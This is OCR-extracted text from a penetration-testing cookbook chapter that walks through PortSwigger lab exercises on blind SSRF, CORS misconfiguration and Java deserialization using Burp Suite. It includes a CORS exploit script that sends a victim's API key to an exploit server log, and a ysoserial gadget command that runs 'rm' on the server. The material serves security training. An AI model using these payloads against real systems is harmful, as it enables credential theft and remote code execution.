Accept:

text/htnl , application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,inage/apng, */
*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Sec-Fetch-5Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: 2?1

[ ol

1 oh U0 W

[T}

i Referer: https: //lmog3xablY%om3km7klglZite0Scwvumib. coastify.com ]
T = TIace

. r
1¢ Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Figure 11.25 - Referer header
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7. Inside Repeater, click the Send button. The response will look normal. Since this is a blind SSRF,
we need to see whether any backend systems made calls to our Collaborator server instance.

e

Pretty Raw Hex Render = BRU——

1 HTTP/Z Z00 OK

2 Content-Type: text/html; charset=utf-8
3 ¥-Frame-Options: SAMEORIGIN

4 Content-Length: 4023

. <!DOCTYPE html>

<html>
<head>
] <link href=/resources/labheader/css/academylLabHeader.css rel=stylesheet>
<link href=/resources/css/labsEcommerce.css rel=stylesheet>
11 <title>
Elind S5PF with out-of-band detection

</eitle>
12 </head>
13 <body>
14 <script src="/resources/labheader/js/labHeader.js">

</fscript>
15 <div id="academyLabHeader">

Figure 11.26 — Response

8.  Switch to the Burp Suite Collaborator client and click the Poll now button to see whether
any SSRF attacks were successful. If any requests leaked outside of the network, those requests
will appear in this table along with the specific protocol used. If any requests are shown in
this table, you will need to report the SSRF vulnerability as a finding. As you can see from
the results shown here, numerous DNS queries were made by the application on behalf of
the attacker-provided payloads. This means the source IP addresses shown would be backend
servers behind the target application.
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Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer {0} Setting

Logger Organizer Extensions Learn
I -+ Q
Payloadsto gen... | 1 Copy to dlipboard Include Collaborator server location Poll now Polling automatica
z Time Type Payload Source IP address
11 2023-Jun-13 09:23:35.064 UTC DNS mog3xabl9oom3km7kigl2ted36wumib 34.245.205.99
2 2023-Jun-13 09:23:35.066 UTC DNS 1mog3xabl%oom3km7klgl2ted56wumib 3.248.186.246
3 2023-Jun-13 09:23:35.125 UTC HTTP 1mog3xabl9oom3km7kigl2ted36wumib 34.253.173.2

Description DNS query

Hex Raw
00000000 59 «c0 00 10 00 01 0o 0o oo 00 00 01 20 31 &d (34 YAODO 1mo
00000010 67 33 18 61 62 €c 39 6f 6f &d 33 €b 6d 37 €b éc g3xabl%com3km7kl

00000020 67 €6c 32 74 65 30 35 36 77 75 €d 69 €2 07 6f 61 gl2te0SéwumibOoa
00000030 73 74 €9 66 79 03 63 6&f 6d 00 00 01 00 O01L 00 OO stifyOcomOO
00000040 2% 04 d0 00 00 &0 00 00 i yoBO

Figure 11.27 - Poll shows interactions

9. Notice the congratulatory banner in the browser.

Web Security Eg?edct?osnRF with out-of-band
Academy/|<]

Back to lab description >

Congratulations, you solved the lab! ¥ Share your skills! [ Continue leaming >’

Figure 11.28 — Congratulatory banner

How it works...

Network leaks and overly generous application parameters can allow an attacker to have an application
make unauthorized calls via various protocols on the attacker’s behalf. In the case of this recipe, the
application allows DNS queries to leak outside of the local machine and connect to the internet.

See also

For more information on SSRF attacks, see the PortSwigger blog entry at https: //portswigger.
net/blog/cracking-the-lens-targeting-https-hidden-attack-surface.


https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-su﻿r﻿face
https://portswigger.net/blog/cracking-the-lens-targeting-https-hidden-attack-su﻿r﻿face

Testing CORS

Testing CORS

An application implementing HTML5 Cross-Origin Resource Sharing (CORS) means the application
will share browser information with another domain that resides at a different origin. By design,
browser protections prevent external scripts from accessing information in the browser. This protection
is known as Same-Origin Policy (SOP). However, CORS is a means of bypassing SOP permissively.
If an application wants to share browser information with a completely different domain, it may do
so with properly configured CORS headers.

Web-penetration testers must ensure applications that handle AJAX calls (for example, HTML5) do not
have misconfigured CORS headers. Let’s see how Burp Suite can help us identify such misconfigurations.
Getting ready

Log in to your PortSwigger account. Using Lab: CORS vulnerability with basic origin reflection (https://
portswigger.net/web-security/cors/lab-basic-origin-reflection-attack),
we will see how to identify a CORS vulnerability in our target application.

How to do it...

1. Go to Lab: CORS vulnerability with basic origin reflection and click the Access the lab button
to start your instance.

Web Security Academy » CORS » Lab

Lab: CORS vulnerability with basic origin

reflection
YOoRsH

A LAB Solved

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to
your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiensripeter

Access the lab

Figure 11.29 - Lab lesson

395


https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack

396 Implementing Advanced Topic Attacks

2. After your instance of the lab loads, use the Burp Suite browser to capture your traffic. Log in
to the application using the provided credentials: wiener/peter.

CORS vulnerability with basic |
origin reflection - Not solved| 2

Go to exploit server Submit solution

Back to lab description >

Home | My account

Figure 11.30 - Click the My account link

Use the supplied credentials to log in to the application.

Login

Username

wiener

Password

Figure 11.31 - Log in with the provided credentials

3. Switch to the Burp Suite Proxy | HTTP history tab and look for the GET /accountDetails
request after login. Notice there is a CORS-related header in the response, allowing the sharing

of client secrets.
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637 https://022000dd04c4b08d872e61b700e10057.web-se... [GET__ /sccountDetails |
Request
Pretty Raw Hex \n =

O W R

GET /faccountDetails HTTP/2

Host: 0aZ000dd04c4b0B8dB87aeElb700e10057.web-security-acadeny.net

Cookie: session=3Kjdct58VM4Az0TuXsYXMrobCY39W5J5e

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Sec-Ch-Ua-Platform: "

Accept: */*

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode:

cors

Sec-Fetch-Dest: empty
Referer:

https://0aZ000dd04c4b08dBT7ae61b700e10057. web

ity demy.net/my t

Accept-Encoding: gzip, deflate

Accept-Language:

en-US,en;q=0.9,en-CA;q=0.8

200 303 JSON
Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Access-Control-Allow-Credentials: true

‘Content- et

application/json; charset=utf-8
4 X-Frame-Options: SAMEORIGIN

5 Content-Length: 149
[3

At

"username”:"wiener”,
S "email":"",
10 "apikey”:"BEfRHEZYuByXITZW3BLfceWcuXypnD3ZU™,
11 "sessions": [
12 ""3Kjdtt56VMAz0TuXsT*MrobCY35W5I 5"
13 ]
14 )

Figure 11.32 — CORS header in response

Send the request to Repeater:

Dashboard Target Proxy Intruder Repeater Collaborator Seq
Deserialization Scanner
Intercept WebSockets history @ Proxy settings
Filter: Hiding CSS and image content
= Host Method URL
|638  https://0a2000dd04c4b08d872e61b700e10057.web-se... GET facademylLabHeader
637 https://0a2000dd04c4b08d87ae61b700e10057.web-se... GET faccountDetails
Request
Pretty Raw Hex a n =
GET /accountDetails HTTP/Z
2"Host:r 0aZ c B8dB7ae€1b700e10057.web-security-acadeny.net
3 Cookie: session=3KjdttS8VM4Az0TuXsYXMrobCY39W5J5e
4 Sec-Ch-Ua:
5 Sec-Ch-Ua-Mobile: 20
€ User-Agent: Mozilla/5.0 (Windows NT 10 Scan L 36
(FHTML, like Gecko) Chrome/114.0.5735. D ;
7 Sec-Ch-Ua-Platform: "" P )
2 Accept: */* Do active scan
S Sec-Fetch-5Site: same-origin
10 Sec-Fetch-Mode: cors Send to Intruder Ctrl+|
11 Sec-Fetch-Dest: empty " Send to Repeater | Ctrl+R
12 Referer: ——
https: //0aZ000ddD4c4b08d87ae61b 700100 Send to Sequencer account
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9,en-CA; e
15 Send to Decoder

Figure 11.33 - Send to Repeater
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4. Lets make a cross-origin call by adding the Origin header to the request from the https: //
example . com location:

Origin: https://example.com
It's shown in the following screenshot:
Dashboard Target Proxy Intruder Collabe

Deserialization Scanner

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x g x

Request
Pretty Raw Hex = N =
L GET /accountDetails HTTP/Z
2 Host: 0aZ000dd04c4b0B8d87ae€lb700el10057.web-security-acadeny.net
3 Cookie: session=3Kjdtt58VM4z0TuXsYxXMrobCY39W5J5e
Sec-Ch-Ua:
Sec-Ch-Ua-Mobile: 20

ik TENE: a/9.0 (windows NT 10.0; Wing4; xe4)
(FHTML, like Gecko) Chrome/114.0.5735.110

F

un

AppleWebKit/537.36
Safari/537.36
% Sec-Ch-Ua-Platform: ™"
9 Accept: */*%
10 Sec-Fetch-5ite: same-origin
11 Sec-Fetch-Mode: cors
12 Sec-Fetch-Dest: empty
3 Referer:
hrttps: //0aZ000dd04c4b08dA87ae61b700e10057. web-security-acadeny.n
et/my-account
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

b= b=
A

1

Figure 11.34 — Add the Origin header and site value

5.  While in Repeater, click Send and notice a new CORS-related header appears in Response. Now
there are two CORS headers in Response and the value of Origin is reflected in Access-
Control-Allow-Origin, allowing information to be shared:
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Dashboard Target Proxy Intruder Collaborator Sequencer Decoder Comparer Logger

Deserialization Scanner

1 x 2 x 3 x 4 x 5 x 6 x 7% 8 x 9 x 10 11 = SUCCESS x 16 x 17 x 18 x

[ send RN Target: https://022000dd04c4b08d872e61b
Request Response
Pretty Raw Hex n = Pretty Raw Hex Render
1 GET faccountDetails HTTP/2 1 HTTP/Z 200 0K
2 Host: 0aZD00dd04c4b08d87ae61b700e10057.web-security-acadeny.net |2 Access-Control-Allow-Origin: https://example.com|
3 Cookie: session=3KjdttSEVMAzOTuXsYMrobCY39W5SI5e CCESS-CONtrol-Allow-Credentials: trus
4 Sec-Ch-Ua: 4 Content-Type: application/json; charset=utf-8
5 Sec-Ch-Ua-Mobile: 20 5 X-Frame-Options: SAMEORIGIN
[£ Origin: https://example.com| ¢ Content-Length: 149

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4)
AppleWebKit/537.36 (FHTML, like Gecko) Chrome/114.0.5735.110 2

Safari/537.36 9  "username”:"wiener",
2 Sec-Ch-Ua-Platform: " 10 "email":"",
9 Accept: */* 11 "apikey”: "BfRHEZYuByXITZW3BffceWcuXypnD3ZU”,
10 Sec-Fetch-Site: same-origin 12 "sessions”:[
11 Sec-Fetch-Mode: cors 13 "3Kjdee58VM4z0TuX s MrobCY39WSI 5"
12 Sec-Fetch-Dest: empty 14 ]
13 Referer: 15 }

https://0aZ000dd04c4b08dB7aeElb700e10057.web-security-academy.n
et/my-account

14 Accept-Encoding: gzip, deflate

15 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

1é

Figure 11.35 - See what gets reflected in response

6. Click the Go to exploit server button:

& C ht4p5://0a2000dd04c4b08dB7ae61b700e10057. web-security-acade.. |1~ Yr & & & O & :

Websecurity CORS vulnerability with basic & .
origin reflection
Academy '

Figure 11.36 — Go to exploit server

7. We need to create a Proof of Concept (PoC) to show how we can leverage this CORS vulnerability
to show impact. Remove the Hello, world! message from the Body portion of the PoC:

Body:

Hello, world!

Figure 11.37 — Body of PoC in exploit server
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8. Replace the Body text area with the following payload, and substitute <YOUR-LAB- ID> with
the value of your lab instance along with the ht tps: // in front:

Body:

<script>
var req = new XMLHttpRequest();

req.onload = regListener;
reg.open('get'|'YOUR-LAB-ID web-security-academy.net/accountDetails', true);

req.withCredentials = true;
req.send();

function regListener() {
location="/log?key="+this.responseTexi;
|5

</script>

Figure 11.38 — Replace the value with your lab ID

9. Click Store and Deliver to Victim in that order at the bottom:

Body:

<script>
var req = new XMLHttpRequest();
req.onload = reqlistener:
req.open('ge‘t‘l‘https:HOaZOOOdd0404b08dSTaeﬁ1bTOOe10057.\.1eb-security-academy.net/accountDetaiIs',true);
req.withCredentrals = true,
req.send();

function reqListener() {
location="/log?key="+this.responseText;

<fs;:ript>

4
E View exploit Deliver exploit to victim

Figure 11.39 — The Store and Deliver exploit to victim buttons

10. Click on Access log to retrieve the API key of your victim:

m View exploit Deliver exploit to victim Access log

Figure 11.40 - Click the Access log button
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10.90.4.176
10.0.4.176

11. Look through the log until you find a different IP address and the API key of your victim.

2023-06-12 19:43:54 +0000 "GET /exploit/ HTTP/1.1" 20@ "user-agent: Mozilla/5.8 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.6.6 Safari/5
pLPE R Rk PR CRUE BT O VAT HIEE { %20%20%22us ername%22 : %20%22administrator%22,%20%20%22email%22 : %20%22%22 ,%20%206%22apikey%22 : %20%22QTiXuBisarY5SW)

Figure 11.41 - View the access log for the victim’s APl key

12. Place the value of the stolen API key into the Submit solution box for the solution:

Go to exploit server L0 N &T0 [N Il Back 1o lab description »»

Figure 11.42 - Click the Submit solution button

13. Note that your value will differ from the one shown here.

CORS vulne

...04c4b08d87ae61b700e10057.web-security-academy.net says

Answer:

Go to exploit s¢ | QTiXuBisa rYSSWAdmeSinnYquoSzfv2|

Figure 11.43 — Submit the API key as the solution
14. Notice the congratulatory banner in the browser.

Web Security CORS vulnerability with basic origin reflection
Academy g] Back to lab description >

Congratulations, you solved the lab!

¥ Share your skills! Continue learning »

Figure 11.44 — Congratulatory banner
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How it works...

In an AJAX request, most instances require a call out to an external URL not residing in the same
domain. To permit the external domain to receive DOM information from the user’s browser session,
CORS headers must be present, including Access-Control-Allow-Origin: <name of
cross domains.

See also

For more information on misconfigured CORS headers, see this PortSwigger blog entry at ht tps: //
portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-
and-bounties.

Performing Java deserialization attacks

Serialization is a mechanism provided in various languages that allows the saving of an object’s state
in binary format. It is used for speed and obfuscation. The turning of an object back from binary into
an object is deserialization. In cases where user input is used within an object and that object is later
serialized, it creates an attack vector for arbitrary code injection and possible remote code execution.
We will look at a Burp Suite extension that will assist web-penetration testers in assessing applications
for Java deserialization vulnerabilities.

Getting ready

Login to your PortSwigger account. Using Lab: Exploiting Java deserialization with Apache Commons
(https://portswigger.net/web-security/deserialization/exploiting/
lab-deserialization-exploiting-java-deserialization-with-apache-
commons) and a hand-crafted serialized code snippet, we will demonstrate how to use the Java
Deserialization Scanner to assist in performing Java deserialization attacks.

You will need to use an old Java version, such as JDK 7, along with the third-party JAR file for
ysoserial to complete this recipe.

Here are the Java SE 7 archive downloads: https://www.oracle.com/java/technologies/
javase/javase7-archive-downloads.html:

1. Select the download for your environment. For example, for Windows x64 you would download
the jdk-7u80-windows-x64 . exe file.

2. After download, double-click and follow the prompts to install.


https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties﻿
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties﻿
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties﻿
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
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Note
Uninstall this from your system after you complete the recipe as it is a very insecure version

of Java.

3. Remember the location of the JDK 7 on your local system.

Here is the ysoserial JAR file download: https://github.com/frohoff/ysoserial/
releases/tag/v0.0.6:

Select the ysoserial-all.jar file for download.

1.
Remember the location of the ysoserial-all. jar file on your local system.

2.

How to do it...
Switch to Burp Suite Extensions | BApp Store and install the Java Deserialization Scanner plugin

1.

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer {C) Settin
Logger Organizer Extensions Learn Desenalization Scanner

Installed | BApp Store I APls {E} Extensions settings

A~ Total estimated system impact:  Low @D
BApp Store (
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's

capabilities. Pl

Name Installed Rating  Popularity Lastupdated Systemi.. Detail o

J2EEScan Yrirvrirdh | 25Aug2021 _High __ Proexte.. e
[Java Deserialization Scanner v Trvriivdy ———1 O0AFeb2022  Low “This extension gives Burp Suite the

Figure 11.45 - Add Java Deserialization Scanner extension

2. Go to Lab: Exploiting Java deserialization with Apache Commons and click the Access the lab
button to start your instance:
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Lab: Exploiting Java deserialization with

Apache Commons
YORSH

PRACTITIONER
2 LAB ‘ Solved

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although
you don't have source code access, you can still exploit this lab using pre-built gadget chains.

To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution
payload. Then, pass this object into the website to delete the morale.txzt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Access the lab

Figure 11.46 — Lab lesson

3. After your instance of the lab loads, use the Burp Suite browser to capture your traffic. Log in
to the application using the credentials wiener/peter.

Exploiting Java deserialization
Not solved

with Apache Commons

Back to lab description >

Home || My_account

Figure 11.47 - Click on My account to log in
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Use the supplied credentials to log in to the application.

H Exploiting Java deserialization
WEbSECUI'Ity witE\ Apaghe Commons &
Academy [+

Back to lab description >

Home | My account

Login

Username

wiener

Password

Figure 11.48 - Log in with the provided credentials

4. Switch to the Burp Suite Proxy| HTTP history tab and look for the request after login. Note
the session cookie is using Java serialization.
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Dashboard Target Intruder Repeater Collaborator
Extensions Learn Add & Track Custom Issues Software Vulnerability Sca

Intercept WebSockets history {&) Proxy settings

Filter: Hiding CSS and image content

z Host Method
393  https://0abf009e0462d7a780a48032003c0017.web-sec... GET /academylLabH

390  https://0abf009e0462d7a780a48032003c0017.web-sec... m
389  https://0abf009e0462d7a780a48032003c0017.web-sec... ogin

Request

Pretty Raw Hex = " =
1 GET /my-account HITP/Z2

2 Host:

rO0ABXNyACO9sYWIuYWNOaWSucy5jb2ZlthZ ducZVyaWFsaXphYmel1LkFj¥Y2Vzcl
PvaZVuVxN1chlR/0USJIEmBAgACTAALYWN] ZXNzVGOrZWSOABIMamF2YS9sYWSn
L1NOcmluZztMAdhlcZVybmFtZXEAf gABeHBOACEp Ymd3Z3hk cGpiZnBAN3N3NX
Bxenhnl¥P.gbDhrdGpzYnQABndpZWSlc gtad%sq

| L. = el

5 Upgrade-Insecure-Requests: 1
Figure 11.49 - Notice the serialized cookie value

5. Right-click, select Extensions and send the request to the Java Deserialization Scanner | Send
request to DS - Manual testing tab.

469  https://0a6b005303e54ac680e79e36001 Mw&mm 200 3312
Request Response
Pretty Raw Hex B \n = Pretty Raw Hex Render
1 GET /my-account HTTP/2 1 HTTP/Z 200 OK
2 Host: Scan 2 Content-Type: text/html; charset=utf-g
0aEb005303e54acE80e75e36001 ; 3 Cache-Control: no-cache
3 Cookie: session= Do passive scan 4 X-Frame-0Options: SAMEORIGIN
r0DABXNYACSsYWIUYWNDaWoucys ., vz = Content-Length: 3179
1RvaZVuVXN1chlR/0USJEmBAgGAC YW €
SnL1NOcmluZztMAAhlc2VybnFtZ Send to Intruder Ctri+|  MDR 7 <!DOCTYPE html>
1ZWdENZMSM3Rsbml LdDE JMHQAED g <html>
4 Cache-Control: max-age=0 s e Critk % <head>
5 Upgrade-Insecure-Requests: Send to Sequencer 10 <link href=/resources/labheader/css/academyLabHe
€ User-Agent: Mozilla/5.0 (Wi stylesheet>
AppleWebKit/537.36 (KHTML, Send sl Coparer 1o |11 <link href=/resources/css/labs.css rel=styleshee
Safari/537.36 Send to Decoder 12 <title>
7 Accept: _ Exploiting Java deserialization with Apache Co
text/htul,application/xhtml Send to Organizer Ctr+0 p/a </ritle>
vif,image/webp,image/apng, * Show response in browser han 13 </head>
ge;v=b3:q=0.7 14 <body>
2 Sec-Fetch-Site: same-origin Request in browser > 15 <script src="/resources/labheader/js/labHeader.j
S Sec-Fetch-Mode: navigate
10 Sec-Fetch-User: 2l w >‘ ava Desenalizatio . >
11 Sec-Fetch-Dest: document Engagement tools > | | 17 <section cl Send request to DS - Exploitation
12 Sec-Ch-Ua: 18 <div clas

Figure 11.50 — Send request to extension
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6. Notice a new tab is available entitled Deserialization Scanner with our request present in the
Manual testing tab. Highlight the serialized value and click the Set Insertion Point button.
Notice the substitution markers, which look like dollar signs, surrounding our serialized value.

Extensions Learn Deserialization Scanner JWT Editor Keys InQL Scanner InQL Timer InQOL Attacker

Manual testing Exploiting Configurations
Host:| 0adc00ed0453c77680e5a40200e500f6.web-security-academy.net Port: 443 Https

GET /my-account?id=wiener HTTP/1.1

Host: 0adc00e40453c77680e5a40200e500f6.web-security-academy.net

Cookie: session=S§rODABXNyACIsYWIuYWNDaWSucy5ib2 1th24uc2VyaWFsaXphYmxILkFjY2Vzc1Rva2VuVXNIchIR/OUSIEmBAgAC
TAALYWNJZXNzVGIrZW50ABIMamF2YS9sYW5nLTNOcmiuZztMAAT c2VybmFtZXEAfgABeHBOACBSdHI3Njk1eDdmbnZyc3A4Mz
R2amN4ZWltazdrNjRsb3QABndpZW5lcgF3d3ds

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windo T 10.0; Winb4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/5
37.36

Accept: text/html,application/xhtrll+xml,application/xml;q=0.9,image/avif image/webp,image/apng,”/*;q=0.8,application/sign
ed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 1

Sec-Fetch-Dest: document

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: ™"

Referer: https://0adc00ed0453¢77 240200e500f6.web-security-academy.net/login

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,enfliCA;q=0.8

Connection: close

Set Insertion Point Clear Insertion Point | Sleep hd

Figure 11.51 - Set the insertion point

After setting our insertion point, look at the bottom panel and move the Encode using Base64
option from the bottom-left panel to the right panel by clicking the Add button. Additionally,
add the Encode using URL encoding option from the left panel to the right panel.

Set Insertion Point Clear Insertion Point | Sleep v

Compress using gzip ncode using

Compress using zlib Encode using URL encoding
ﬁ
Add --
Encode using URL-safe Base64 =>I
Encode using ASCIl hex

<-- Remove

Attack

Figure 11.52 — Add Base64 encoding and URL encoding
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7. Let’s send the request over to the Exploiting tab by right-clicking and selecting Send to
Exploitation tab:

| Extensions Learn Deserialization Scanner JWT Editor Keys InQL Scanner InQL Timer InQL Attacke
Manual testing Exploiting Configurations

1
Host: 0adc00ed40453c77680e5a40200e500f6.web-security-academy.net Port: 443 Https

GET /my-account?id=wiener HTTP/1.1

Host: Dadc00e40453c77680e5a40200e500f6.web-security-academy.net

Cookie: session=5rODABXNyACIsYWIuYWNDaW9ucy5jb2 1tb24uc2VyaWFsaXphYmxILkFjY2Vzc1Rva2VuVXNIchIR/OUSI6mBAgAC
TAALYWNJZXNzVGOrZW30ABIMamF2YS9sYW3SnL1NOcmluZztMAART c2VybmFtZXEAfgABeHBOACBSdHI3Njk1eDdmbnZyc3A4Mz
R2amN4ZW)tazdrNjRsb3QABNndpZW3lcg%3d%3ds | A —
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1 | I Send to Exploitation tabl

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x84) AppleWebKit/537.36 (KHTML, Tike Gecko] Chrome/1 10:5?35‘199 Safari/5
37.36

Figure 11.53 - Send request to Exploitation tab

8. To make the extension work for us, we need to configure the settings for the location of Java and
the ysoserial JAR file within the Configurations tab (note your path values will be different
from what is shown in this screenshot since you must use the paths for your local system):

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Compa

Extensions Learn Deserialization Scanner
Manual testing Exploiting

Automatic scanner configurations

Enable active scan sleep checks
Enable active scan DNS checks (through vulnerable libraries)
Enable active scan DNS checks (URLDNS, Java JRE only)
Manual testing configuration
Add manual issues to scanner results

Verbose mode

Exploiting configuration
ava path (recent Java major versions do not allow to run ysoserial properly): C:/Java_1_7_old_versions_for_Deserialization/bin/java
soserial path:  Ci/ysoserial/jar_file/ysoserial-0.0.5-SNAPSHOT-all jar
| Execute ysoserial with hibernate3 profile (-Dhibernate5)

Figure 11.54 — Configure Java and ysoserial within the Deserialization Scanner Extension

9. Switch to the Deserialization Scanner | Exploiting tab and ensure you still have the Base64
encoding button added at the bottom as well as the URL encoding button. Both of these
encodings should be in the bottom-right panel.
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Deserialization Scanner

Manual testing Exploiting Configurations
Host: Gladbwswwaabw)dﬁ;fsmodww3.web-se<:uri_t¥-academx.net Port: 443 Https

GET /my-account?id=wiener HTTP/1.1

Host: 0adb00880438a2b380d63f8f00d600d3.web-security-academy.net

Cookie: session=5rO0ABXNyACIsYWIuYWNDaWSucy5jb21tb24uc2VyaWFsaXphYmuxILkFjY2Vzc1Rva2VuVXNIchIR
/OUSIEMBAgACTAALYWNZXNzVGIrZW30ABIMamF2YS9sYW5nLINOcmluZztMAAK 1c2VybmFtZXEAfgABeHBO
ACBjc2xjYjMxcDISenhwZ3I0NmMweXM1Y2t2ZjRzajNncXQABNndpZW5lcg%e3d %3d5

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.
5845.111 Safari/537.36

Accept: text/html, application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,”/*;,q=0.8,
application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "*

Referer: https://0adb008804382ab380d63fEf00d600d3.web-security-academy.net/login

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Connection: close

Set Insertion Point |  Clear Insertion Point
java -jar ysoserial
CommonsCollectionsd 'rm /home/carlos/morale.txt’

Compress using gzip aseb
Compress using zlib Encode using URL encoding
Add -->
Encode/Compress: | Encode using URL-safe Base6d
Encode using ASCII hex <—Remove
ncode using ng
Attack

Figure 11.55 - On the Exploiting tab, make sure that both encodings are on the right panel

10. Add the CommonsCollections4 'rm /home/carlos/morale.txt' command
tothe java -jar ysoserial textarea:
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Deserialization Scanner

Manual testing | Exploiting | Configurations

Host: 0adb008804382ab380d63f8f00d600d3.web-security-academy.net Port: 443 Hitps

GET /my-account?id=wiener HTTP/1.1

Host: 0adb008804382ab380d63f8f00d600d3.web- security-academy.net

Cookie: session=S5rODABXNyACIsYWIuYWNOaW9ucy5jb21tb24uc2VyaWFsaXphYmxILkFjY2Vzc1Rva2VuVXNIchIR
/OUSIEMBAgACTAALYWNZXNzVGIrZW50ABIMamF2YS9sYW3nL1NOcmluZztMAAh 1 c2VybmFtZXEAfgABeHBO
ACBjc2xjYjMxcDISenhwZ3I0NmMweXM1Y2t2ZjRzajNncXQABndpZW5lcg%3d %3d5

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.
5845.111 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,”/*;q=0.8,
application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 720

Sec-Ch-Ua-Platform: **

Referer: https://0adb008804382ab380d63fEf00d600d3.web-security-academy.net/login

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Connection: close

Set Insertion Point | Clear Insertion Point

java -jar ysosenial

| CommonsCollectionsd 'rm /home/carlos/morale.txt'

Encode using Basefd
Encode using URL encoding

Compress using gzip
Compress using zlib

Figure 11.56 — Set the gadget and command
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11. You are now ready to build the payload. Generate the payload by clicking the Attack button

Response

at the bottom.
Deserialization Scanner
Manual testing Exploiting ] Configurations
Host:‘ .web-security-academy.net ‘Pon: 443 Https | Request
GET /my-account?id=wiener HTTP/1.1
Host: web-security-academy.net
Cookie: SrO0ABXNyACIsYWluY 5jb21tb24uc2VyaWFsaXphYmxILkFj¥2Vzc1Rva2VuVXNichIR

/OUSIBMBAGACTAALYWNZXNZVGIZWS0ABIMamF2YS9sYWSnL INOcmiuZztMAA1 c2VybmFtZXEAfgABeHBO

ACBjc2xj¥jMxcDIScnhwZ3I0NmMweXM1Y2t2ZjRzajNncXQABndpZWSlcg%3d%3ds

Cache-Controk: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Morzilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.

5845111 Safari/537.36

Accept: text/} ication/xhtml+xmiapplicati =09, if,image/webj
jcation/signed-exch 307

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: **

Referer: http

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=09,en-CA;q=08

Connection: close

i png,"/*q=0.8,

web-security-academy.net/login

| Set Insertion Point \ Clear Insertion Point

Jjava -jar ysoserial

CommensC 54 'rm /home/c

Compress using gzip Encode using Base64
Compress using zlib Encode using URL encoding
Encode using Base64

Encode/Compress: | Encode using URL-safe Base64
Encode using ASCII hex
Encode using URL encoding

<-- Remove

Pretty Raw Hex

CRE
1 BET /my-account?id=wiener HTTP/L.l

2 Host: 0adb0088043B8aab380d63£B£00d600d3. web-security-acadeny.net

3 Cogkie: seggions

¥ qYXZhLnV0 pb3JpdHIRAWV1ZZTaMLT7P AFxAwACSQAEC 2 162UwACKN
